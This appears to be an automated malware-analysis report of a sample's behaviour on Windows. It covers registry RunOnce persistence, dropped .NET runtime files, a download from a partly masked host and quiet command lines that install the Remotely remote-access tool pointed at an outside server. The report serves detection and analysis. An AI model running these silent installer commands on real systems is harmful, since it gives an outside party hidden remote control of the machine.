Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce] '{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}' = '"%PROGRAMDATA%\Package Cache\{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}\windowsdes...
Modifies file system
Creates the following files
- C:\tmp\remotely_installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1049\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1055\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\2052\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\3082\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\eula.rtf
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\bootstrapperapplicationdata.xml
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.be\windowsdesktop-runtime-3.1.2-win-x64.exe
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1028\thm.wxl
- %PROGRAMDATA%\package cache\{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}\windowsdesktop-runtime-3.1.2-win-x64.exe
- %ProgramFiles%\dotnet\swidtag\microsoft windows desktop runtime - 3.1.2 (x64).swidtag
- %PROGRAMDATA%\package cache\{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}\state.rsm
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\windowsdesktop_runtime_3.1.2_win_x64.msi
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\dotnet_runtime_3.1.2_win_x64.msi
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\dotnet_hostfxr_3.1.2_win_x64.msi
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1046\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1045\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1042\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1041\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1040\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1036\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1033\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1031\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\1029\thm.wxl
- %TEMP%\microsoft_windows_desktop_runtime_-_3.1.2_(x64)_20200409163230.log
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\bg.png
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\thm.wxl
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\thm.xml
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.ba\wixstdba.dll
- %WINDIR%\temp\{bc4f9046-f5b4-476f-a17b-2f5168d199c2}\.cr\windowsdesktop-runtime.exe
- %TEMP%\windowsdesktop-runtime.exe
- %TEMP%\remotely_installer.log
- %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\dotnet_host_3.1.2_win_x64.msi
- %TEMP%\microsoft_windows_desktop_runtime_-_3.1.2_(x64)_20200409163230_000_windowsdesktop_runtime_3.1.2_win_x64.msi.log
Moves the following files
- from %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\windowsdesktop_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\windowsdesktop_runtime_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\windowsdesktop_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{b6953536-7b9a-4a5c-9cc6-ff735cc1bd13}v24.72.28517\windowsdesktop-runtime-3.1.2-win-x64.msi
- from %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\dotnet_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\dotnet_runtime_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\dotnet_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{98b78a0c-f38b-4a4a-b635-a166b5b741a9}v24.72.28517\dotnet-runtime-3.1.2-win-x64.msi
- from %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\dotnet_hostfxr_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\dotnet_hostfxr_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\dotnet_hostfxr_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{43fd3f8f-cec5-4ac5-ae48-aafbbf63694a}v24.72.28517\dotnet-hostfxr-3.1.2-win-x64.msi
- from %WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\dotnet_host_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\dotnet_host_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\dotnet_host_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{c0bf0046-bd8a-4772-95ab-4d4a3ed160e7}v24.72.28517\dotnet-host-3.1.2-win-x64.msi
Network activity
TCP
HTTP GET requests
- http://he##.#extepinfo.com/Remotely_Installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe
- http://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt
UDP
- DNS ASK he##.#extepinfo.com
- DNS ASK download.visualstudio.microsoft.com
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- 'C:\tmp\remotely_installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe' -serverurl "https://remotely.nextepinfo.com" -devicegroup "new" -install -quiet
- '%TEMP%\windowsdesktop-runtime.exe' /install /quiet /norestart
- '%WINDIR%\temp\{bc4f9046-f5b4-476f-a17b-2f5168d199c2}\.cr\windowsdesktop-runtime.exe' -burn.clean.room="%TEMP%\windowsdesktop-runtime.exe" -burn.filehandle.attached=192 -burn.filehandle.self=200 /install /quiet /norestart
- '%WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.be\windowsdesktop-runtime-3.1.2-win-x64.exe' -q -burn.elevated BurnPipe.{26B842C2-420F-45EC-B9EF-99282B0D1A0D} {5E4ECD29-77A2-42F1-A4FF-2A9040AF9682} 2392
- '%TEMP%\windowsdesktop-runtime.exe' /install /quiet /norestart' (with hidden window)
- '%WINDIR%\temp\{38d3237f-5d39-4722-95a3-f45c3d618fb1}\.be\windowsdesktop-runtime-3.1.2-win-x64.exe' -q -burn.elevated BurnPipe.{26B842C2-420F-45EC-B9EF-99282B0D1A0D} {5E4ECD29-77A2-42F1-A4FF-2A9040AF9682} 2392' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c c:\tmp\Remotely_Installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe -serverurl "https://remotely.nextepinfo.com" -devicegroup "new" -install -quiet
